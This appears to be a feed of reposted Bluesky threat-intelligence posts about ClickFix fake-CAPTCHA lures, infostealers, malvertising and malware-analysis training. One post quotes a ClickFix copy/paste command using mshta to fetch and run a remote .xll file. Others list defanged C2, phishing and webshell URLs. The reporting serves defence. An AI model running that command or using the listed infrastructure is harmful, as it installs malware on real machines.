iiinova — where your digital self keeps evolving

Reposted by ExecuteMalware

Saher @saffronsec.bsky.social · 17/04/2025

My first blog with Proofpoint is live! And we love a good crossover. State-sponsored actors try their hand at ClickFix - the hottest thing in cybercrime. Meet the North Koreans, Iranians, and Russians who are upping their social engineering game www.proofpoint.com/us/blog/thre...

proofpoint.com

Around the World in 90 Days: State-Sponsored Actors Try ClickFix | Proofpoint US

Key Findings While primarily a technique affiliated with cybercriminal actors, Proofpoint researchers discovered state-sponsored actors in multiple campaigns using the ClickFix social

14219

Reposted by ExecuteMalware

CyberRaiju @jaiminton.com · 04/03/2025

I took a look at a new malware loader which uses steganography within WAV 🌊 files to deliver its payload on an endpoint. Enjoy! www.youtube.com/watch?v=NiNI...

youtube.com

I found MALWARE inside of MUSIC! (Octowave Steganography Malware Analysis)

YouTube video by Jai Minton - CyberRaiju

052

Reposted by ExecuteMalware

Josh Stroschein | The Cyber Yeti @jstrosch.bsky.social · 06/02/2025

⌛ This series will take you through installing WinDbg and configuring Binary Ninja to use the WinDbg engine to create and use TTD traces. It will also show you how to capture TTD traces and replay them in Binary Ninja 👇

buff.ly

Getting Started with Time-Travel Debugging in Binary Ninja

This series will take you through installing WinDbg and configuring Binary Ninja to use the WinDbg engine to create and use TTD traces. It will also show you...

044

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 06/02/2025

Note: The C2 for this infection has been identified as Lumma Stealer instead of Vidar: - threatfox.abuse.ch/ioc/1405142/

011

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 06/02/2025

2025-02-05 (Wednesday): #ClearFake / #ClickFix style fake CAPTCHA leads to possible #Vidar. Vidar C2 using eteherealpath[.]top behind Cloudflare. Details at github.com/malware-traf...

167

Reposted by ExecuteMalware

Jeremy Kirk @jkirk.bsky.social · 01/12/2024

With Trump's win, crypto's price is booming. But beware. @g0njxa.bsky.social and @russianpanda.bsky.social have done a massive investigation into how an organised criminal group is trying to steal #bitcoin and other #crytocurrency with infostealer malware. #infosec trac-labs.com/hearts-stole...

trac-labs.com

Hearts Stolen, Wallets Emptied: Insights into CryptoLove Traffer’s Team

Insights into CryptoLove traffer’s team operation. Let’s dive in…

2136

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 04/02/2025

2025-02-04 (Tuesday): From a #ClickFix style fake CAPTCHA, I got a copy/paste command for: mshta hxxp[:]//80.64.30[.]238/evix.xll Ran it and ended up with HTTPS C2 traffic to stchkr[.]rest which was reported as a #Vidar domain yesterday on ThreatFox. threatfox.abuse.ch/ioc/1402588/

011

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 30/01/2025

2025-01-30 (Thursday): #XLoader infection. Unlike my previous XLoader infections, this one didn't run in my VM, so I used a physical host. A #pcap of the infection traffic, the associated malware samples, and more info is available at malware-traffic-analysis.net/2025/01/30/i...

Screenshot of my blog post with analysis of the XLoader infection.

XLoader distributed as a RAR attachment to an email. The malware is a Windows executable file within that RAR archive.

Traffic from the XLoader infection filtered in Wireshark.

XLoader persistent on the infected Windows host through a Windows registry update.

0104

Reposted by ExecuteMalware

Josh Stroschein | The Cyber Yeti @jstrosch.bsky.social · 30/01/2025

📣 New video drop - in this video I discuss ways to detect shellcode entry point using properties of position independence. Nothing advanced but a helpful technique when you lack context on the shellcode 👇

buff.ly

Analyzing Shellcode - Finding the Entry Point Based Off Position Independence

Sometimes you'll discover shellcode, but not have the time or ability to determine its entry point. In this video, we'll explore a technique using common she...

042

Reposted by ExecuteMalware

Josh Stroschein | The Cyber Yeti @jstrosch.bsky.social · 27/01/2025

No live streams this week so why not learn more about the PE file format?! This video discusses the AddressOfEntryPoint and techniques for finding main in tools such as IDA Pro 👇 buff.ly/4haGIDu Need more PE (and who doesn't)? Give this playlist a view: buff.ly/4aO0lz3

buff.ly

The AddressOfEntryPoint and Tips for Finding Main

The PE file format defines the entry point for execution through the AddressOfEntryPoint field. However, it's not as straight-forward as it may seem. In this...

032

Reposted by ExecuteMalware

jamesinthebox.bsky.social @jamesinthebox.bsky.social · 24/01/2025

A fairly sizable distributed port scan (all source port 19000) about 30 minutes ago; raw logs and sources here: gist.github.com/silence-is-b...

011

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 23/01/2025

2025-01-22 (Wednesday): #TrafficAnalysisExercise: Download from fake software site. I've posted a traffic analysis exercise based on the same type of #Malvertizing I wrote about for my employer at github.com/PaloAltoNetw... The exercise #pcap is at www.malware-traffic-analysis.net/2025/01/22/i...

Screenshot of fake Google Authenticator site seen on 2025-01-22 sending a malicious file to download.

033

Reposted by ExecuteMalware

Selena Larson @selenalarson.bsky.social · 23/01/2025

New episode of DISCARDED! Featuring Kristina Walter, Chief of the NSA's Cybersecurity Collaboration Center. It was a fantastic conversation. Apple: podcasts.apple.com/us/podcast/d... Spotify: open.spotify.com/episode/0Ont... Web: www.proofpoint.com/us/podcasts/...

podcasts.apple.com

The Power of Partnerships: An Interview with the NSA’s Kristina Walter

Podcast Episode · DISCARDED: Tales From the Threat Research Trenches · 01/22/2025 · 40m

092

Reposted by ExecuteMalware

Josh Stroschein | The Cyber Yeti @jstrosch.bsky.social · 15/01/2025

📣 New Year, New Episode - check out the latest episode of the Behind the Binary podcast! Stephen Eckels joins us to talk about game hacking/modding, discovering the Sunburst backdoor, getting into reverse engineering and much more! 🎧

buff.ly

EP04 Stephen Eckels - A Journey From Game Modding to SolarWinds: How One Gamer Became a Renowned Reverse Engineer

Behind the Binary by Google Cloud Security · Episode

042

Reposted by ExecuteMalware

ThreatInsight @threatinsight.proofpoint.com · 15/01/2025

Takedown Services Manager Hannah Rapetti helps Proofpoint customers address malicious web domains that are targeting their company. In this video, she highlights tactics employed by threat actors to trick users into thinking the content is legitimate. Stream the full episode: ow.ly/vXoP50UGz5e.

032

Reposted by ExecuteMalware

Josh Stroschein | The Cyber Yeti @jstrosch.bsky.social · 15/01/2025

🚀 Learning tools such as IDA Pro and Ghidra starts with understanding assembly. One of my latest courses on Pluralsight will teach you the basics of the assembly language to get started 👇 buff.ly/3Pz2wfZ Or you can check out this 24 video playlist on YouTube: buff.ly/4jfR72c

buff.ly

Malware Analysis: Assembly Basics

Learning tools such as IDA Pro and Ghidra starts with understanding assembly. This course will teach you the basics of the assembly language to get started as a reverse engineer!

041

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 14/01/2025

2025-01-13 (Mon): Something I wrote for my employer: Legitimate websites infected with #KongTuke script present CAPTCHA-style pages that ask victims to paste #PowerShell script into a Run window. Lately, this has led to infections abusing the #BOINC platform. More info at: github.com/PaloAltoNetw...

Screenshot showing two browser windows with CAPTCHA-style verification prompts. The left window features a 'Verify You Are Human' dialog, including the 'I'm not a robot' checkbox. The right window displays a series of steps needed to complete the verification, emphasizing the 'VERIFY' button.

Screenshot of HTML source code from a website page from a compromised site, displaying various script tags and links. Some of the information is redacted. The image highlights a section of injected code for the fake verification page.

Traffic from an infection filtered in Wireshark. Annotations indicate issues such as "fake verification pages from copy/paste script" and "malicious domains hosting BOINC project servers," as well as where the TLSv1.0 traffic starts.

A detailed screenshot showing multiple open windows related to the BOINC client setup. Clockwise from left to right: Malicious installation using legitimate BOINC files. Legitimate BOINC client used in malicious setup. Scheduled task 1/3: Run BOINC client. Scheduled task 2/3: Run PowerShell script. Scheduled task 3/3: Run (another) PowerShell script. Red arrows highlight the relationship between the tasks and the scripts used.

174

Reposted by ExecuteMalware

abuse-ch.bsky.social @abuse-ch.bsky.social · 09/01/2025

🎉 Only a few weeks left until our new features and authentication launch! Here’s a reminder of what to expect: ✨ NEW capabilities, including: ✅ False-positive lists to refine your searches ✅ URLhaus hunting tools for deeper insights ✅ And so much more! 1/2

144

Reposted by ExecuteMalware

Josh Stroschein | The Cyber Yeti @jstrosch.bsky.social · 09/01/2025

☠️ If learning malware analysis/reverse engineering skills is on your 2025 to do list, you're in luck! I've created a live stream series called Malware Mondays to help you get started 👇 buff.ly/4j5KZtq Sessions are independent but can be viewed consecutively to enhance abilities!

buff.ly

Malware Mondays

Share your videos with friends, family, and the world

021

Reposted by ExecuteMalware

jamesinthebox.bsky.social @jamesinthebox.bsky.social · 09/01/2025

#opendir at: https:// superior-somalia-bs-leisure.trycloudflare\.com -> http:// jsnybsafva\.biz:8030

141

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 09/01/2025

2025-01-09 (Thursday): Now this is more like it! Real #malspam with real #malware. Even if the infection traffic looks like it's an #Matiex or #SnakeLogger or #AgentTesla variant that exfiltrates data through api.telegram[.]org. #AnyRun analysis of the malware EXE at: app.any.run/tasks/8ffd01...

031

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 09/01/2025

2025-01-08 (Wednesday): Alright, man! I could use a vacation! The final #phishing page at faernleys[.]com didn't work for me, though.

052

Reposted by ExecuteMalware

Selena Larson @selenalarson.bsky.social · 08/01/2025

New episode of DISCARDED! Hannah Rapetti talks about how threat actors create and use malicious domains and the process for taking down adversary infrastructure. Apple: podcasts.apple.com/us/podcast/d... Spotify: open.spotify.com/episode/6gpE... Web: www.proofpoint.com/us/podcasts/...

podcasts.apple.com

The Battle for a Safer Internet: Inside Domain Takedowns and Threat Actor Tactics

Podcast Episode · DISCARDED: Tales From the Threat Research Trenches · 01/07/2025 · 38m

0144

Reposted by ExecuteMalware

Josh Stroschein | The Cyber Yeti @jstrosch.bsky.social · 08/01/2025

🎓 I am excited to share a link that organizes my educational resources into a structured path. I hope it becomes a valuable starting point for those interested in malware analysis and reverse engineering👇

buff.ly

Where do I start? | The Cyber Yeti

The Cyber Yeti | Keep Exploring

011

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 24/12/2024

2024-12-24 (Tue): dauphonemicrofinance[.]org led to #Captcha #ClickFix copy/paste script to grab/run #infostealer hosted on Github. Malware sample available at: bazaar.abuse.ch/sample/847c2... Infostealer C2 same as yesterday: hxxps[:]//t[.]me/k04ael hxxps[:]//bijutr[.]shop/ #CaptchaClickFix

075

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 23/12/2024

2024-12-23 (Mon): Compromised site bulwarkintelligence[.]com leading to #ClickFix style copy/paste script to grab & run #infostealer hosted on Github. Infostealer sample available at: bazaar.abuse.ch/sample/89b55... Infostealer C2: hxxp[:]//t[.]me/k04ael hxxps[:]//bijutr[.]shop/

074

Reposted by ExecuteMalware

Jérôme Segura @jeromesegura.com · 16/12/2024

Malicious Google ad for Malwarebytes ⚠️ hxxps[://]sites[.]google[.]com/view/dexters-antivirus/home #malvertising

021

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 16/12/2024

2024-12-16 (Mon): More Brazil-targeted #malspam pushing #Guildma / #Astaroth. Email link 214.235.109[.]208.host.secureserver.net/cliente/Assinar_PDF_3476 Zip bazaar.abuse.ch/sample/59a88... Shortcut generated this URL for follow-up malware: hxxps[:]//stralinluntar06.medicoassocidos[.]homes/?1//?8/

141

Reposted by ExecuteMalware

Jérôme Segura @jeromesegura.com · 16/12/2024

A fraudulent Google ad meant to phish employees for their login credentials redirects them to a fake browser update page instead. #malvertising #phishing #SocGholish 🔗 www.malwarebytes.com/blog/news/20...

malwarebytes.com

Malicious ad distributes SocGholish malware to Kaiser Permanente employees

A fraudulent Google ad meant to phish employees for their login credentials redirects them to a fake browser update page instead.

031

Reposted by ExecuteMalware

Jérôme Segura @jeromesegura.com · 13/12/2024

Malicious Google ad for PayPal ⚠️ https[:]//sites[.]google.com/view/pay-pal-helpcustomerservic/ #malvertising

032

Reposted by ExecuteMalware

Jérôme Segura @jeromesegura.com · 13/12/2024

Malicious Google ad for eBay ⚠️ fbdecors[.]online #malvertising

021

Reposted by ExecuteMalware

Jérôme Segura @jeromesegura.com · 13/12/2024

Malicious Google ad for Grammarly ⚠️ grammarly[.]pc-download[.]live #malvertising

021

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 13/12/2024

2024-12-13 (Friday): www.anceltech[.]com compromised with #SmartApeSG leading to #NetSupport #RAT 2 injected scripts. jitcom[.]info and best-net[.]biz. Pivoting on best-net[.]biz in URLscan show signs of six other compromised sites: urlscan.io/search/#best... #NetSupportRAT

095

Reposted by ExecuteMalware

hasherezade.bsky.social @hasherezade.bsky.social · 14/12/2024

New #PEsieve & #HollowsHunter (v0.4.0) are released: github.com/hasherezade/... & github.com/hasherezade/... - A lot has changed in the new version, check it out!

04518

Reposted by ExecuteMalware

Jérôme Segura @jeromesegura.com · 16/12/2024

Malicious Google ad for Kaiser Permanente ⚠️ bellonasoftware[.]com #malvertising

021

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 05/12/2024

2024-12-04 (Wednesday): Reviewing my most recent web server access logs for my malware-traffic-analysis.net blog shows what looks like an attempt to get a PHP #webshell on my web server. The URL for the PHP webshell is hxxp://1.14.123[.]164/ote.txt

Screenshot from one of my web server logs showing the HTTP GET request with a URL for the PHP webshell.

URL for the PHP webshell opened in a web browser to get the PHP text file for this webshell.

VirusTotal results showing the file returned from that URL is a PHP webshell.

061

Reposted by ExecuteMalware

Brad @malware-traffic-analysis.net · 22/11/2024

2024-11-22 (Friday) #XLoader / #Formbook: I've been fired by my non-existent HR department. At least I got a "salary-receipt.exe" bazaar.abuse.ch/sample/003b5... Tria.ge and Any.Run don't identify the malware, but Joe Sandbox does: www.joesandbox.com/analysis/156... Also runs in my lab just fine

Screenshot of malicious spam (malspam) with malware file attachment.

Traffic from the XLoader (Formbook) infection filtered in Wireshark.

21710

Reposted by ExecuteMalware

BleepingComputer @bleepingcomputer.com · 21/11/2024

As users are flocking to BlueSky from social media platforms like X/Twitter, so are threat actors. BleepingComputer has spotted cryptocurrency scams popping up on BlueSky just as the decentralized microblogging service surpassed 20 million users this week. www.bleepingcomputer.com/news/securit...

bleepingcomputer.com

Now BlueSky hit with crypto scams as it crosses 20 million users

02311

Reposted by ExecuteMalware

Squiblydoo @squiblydoo.bsky.social · 21/11/2024

certReport 3.1.4 Bugfix - indicators could be printed in duplicate certReport makes reporting code-signing certs easy. No-one likes spending time reading or writing reports. That is: I just noticed the problem. Maybe someone else did. I don't know. It is gone now.

022

Reposted by ExecuteMalware

mthcht @mthcht.bsky.social · 20/11/2024

I’m looking for a new remote work opportunity starting in April. If you think I’d be a good fit for your team, let me know!

113

Reposted by ExecuteMalware

Squiblydoo @squiblydoo.bsky.social · 20/11/2024

Code-Signing cert "FUJI FURUKAWA E&C (VIETNAM) CO.,LTD" This signer was used to sign some low detection malware and some not so low detection #malware. bazaar.abuse.ch/browse/tag/F... Reported using certReport: github.com/Squiblydoo/c... see default report below. Please report certs. :)

052

Reposted by ExecuteMalware

Joe Roosen @jroosen.bsky.social · 19/11/2024

abuse.ch/blog/communi... Many thanks to Roman and Abuse.ch for working tirelessly on this issue for the greater good.

abuse.ch

abuse.ch | Community First - new authentication, new data, and new functionality

Community First - new authentication, new data, and new functionality

0125

Reposted by ExecuteMalware

Tommy Madjar @ffforward.bsky.social · 18/11/2024

New blog drop with @selenalarson.bsky.social and the rest of the team. This one covers a lot of threats using the #ClickFix technique to lure targets to infect themselves by pasting malicious CMD/PS code. My "fave" is the chumbox #malvertising on major tech sites. www.proofpoint.com/us/blog/thre...

0104